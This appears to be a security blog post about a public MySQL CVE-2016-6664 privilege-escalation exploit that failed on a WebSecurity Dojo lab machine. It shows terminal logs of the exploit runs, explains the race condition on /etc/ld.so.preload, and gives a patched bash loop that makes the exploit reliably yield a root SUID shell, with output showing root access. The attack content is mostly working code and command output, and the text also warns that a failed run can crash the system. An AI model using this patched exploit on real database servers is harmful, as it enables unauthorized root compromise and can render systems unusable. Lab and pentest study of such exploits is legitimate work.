Latest Tweets

Mysql CVE-2016-6664 Dawid Golunski’s exploit fails and could crash the entire system

Preamble

The root privilege escalation exploit written by Dawid Golunski did not work out-of-the-box on a mysql vulnerable database server running on WebSecurity Dojo. Although the first exploit (gaining mysql user privileges) did work, after that I could not gain root access by running the shell script designed to exploit CVE-2016-6664:

dojo@dojo2:~$ ./40678 root dojo localhost dvwa
[+] Entering the race loop… Hang in there…
[+] Bingo! Race won (took 4 tries) ! Check out the mysql SUID shell:
[+] Spawning the mysql SUID shell now…
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 🙂
mysql_suid_shell.MYD-4.2$ whoami
mysql

/40679.sh /var/log/mysql/error.log
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql dojo 920788 Nov 14 08:09 /tmp/mysqlrootsh
[+] Waiting for MySQL to re-open the logs/MySQL service restart…
Do you want to kill mysqld process to instantly get root? 🙂 ? [y/n]
/40679.sh: line 162: /etc/ld.so.preload: Permission denied
./40679.sh: line 170: /etc/ld.so.preload: Permission denied
[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-rw—- 1 root root 82 Nov 14 15:11 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
cat: /etc/ld.so.preload: Permission denied
[+] The /etc/ld.so.preload file now contains:
chmod: changing permissions of `/etc/ld.so.preload’: Operation not permitted
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwxr-xr-x 1 mysql dojo 920788 Nov 14 15:11 /tmp/mysqlrootsh
[!] Failed to get root

The issue

First thing: WebSecurity Dojo is Ubuntu-based, and it does not use mysqld_safe. It executes “mysqld” directly, so if you try to run this exploit it does not do as promised because there is no way mysqld_safe is going to re-create the error.log file as soon as mysqld is killed. After making sure mysqld_safe is executed, still I cannot get the exploit working because the /etc/ld.so.preload file is owned by root and therefore the malicious /tmp/privesclib.so cannot be loaded:

[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-rw—- 1 root root 82 Nov 16 03:06 /etc/ld.so.preload

Got it. Executing ‘killall mysqld’ now…
./40679.sh: line 162: /etc/ld.so.preload: Permission denied
./40679.sh: line 170: /etc/ld.so.preload: Permission denied

So the script fails to deliver a root shell. The flaw resides in assuming that whenever /etc/ld.so.preload exists, it is owned by mysql and thus this code-snippet will end up writing the string “/tmp/privesclib.so” in /etc/ld.so.preload:

while :; do 
        sleep 0.1
        if [ -f /etc/ld.so.preload ]; then
                echo $PRIVESCLIB > /etc/ld.so.preload
                rm -f $ERRORLOG
                break;
        fi
done

But, as you have clearly seen, the file is temporarily owned by “root” (until the chown mysql is issued by mysqld_safe) and thus the script fails. Moreover, because what we have in /etc/ld.so.preload comes from the mysql log, we’ve got a lot of complaints about the impossibility of pre-loading whatever is inside the /etc/ld.so.preload (bear in mind that this is system-wide). It gets even worse: if you reboot the Virtual Machine, the system crashes. So if you do run this script during a regular pentest engagement, make sure you don’t make the system unusable.

When /etc/ld.so.preload cannot be successfully written with the malicious library, the entire system crashes after rebooting it.

When /etc/ld.so.preload cannot be successfully written with the malicious library, the entire system crashes after rebooting it.

Fixing

It is safer to make sure that /etc/ld.so.preload has been successfully written before assuming that it has been. To achieve that, I have added a simple loop until the right malicious library is written in /etc/ld.so.preload (another way to fix this could be to increase the time the loop waits for the presence of /etc/ld.so.preload):

echo -ne "Trying to write the ld.so.preload until we sucess ... "
while :; do 
        sleep 0.1
        if [ -f /etc/ld.so.preload ]; then
                echo $PRIVESCLIB > /etc/ld.so.preload 
                if [ $? -eq 0 ]; then
                        rm -f $ERRORLOG
                        break;
                fi
        fi
done
echo -ne " [DONE!]\n"

Now, if we re-run the exploit, we’ve got the root shell as promised:

[+] Waiting for MySQL to re-open the logs/MySQL service restart…
Do you want to kill mysqld process to instantly get root? 🙂 ? [y/n] y
Got it. Executing ‘killall mysqld’ now…
Trying to write the ld.so.preload until we sucess … ./40679.sh: line 166: /etc/ld.so.preload: Permission denied
./40679.sh: line 166: /etc/ld.so.preload: Permission denied
./40679.sh: line 166: /etc/ld.so.preload: Permission denied
[DONE!]
+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 920788 Nov 16 05:03 /tmp/mysqlrootsh

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 920788 Nov 16 05:03 /tmp/mysqlrootsh

Got root! The database server has been ch-OWNED !

[+] Spawning the rootshell /tmp/mysqlrootsh now!
mysqlrootsh-4.2# whoami
root

Be extremely careful if you run this exploit on a real computer; if /etc/ld.so.preload cannot be written with the malicious library, the entire system could stop working.

You can watch a video about this issue HERE.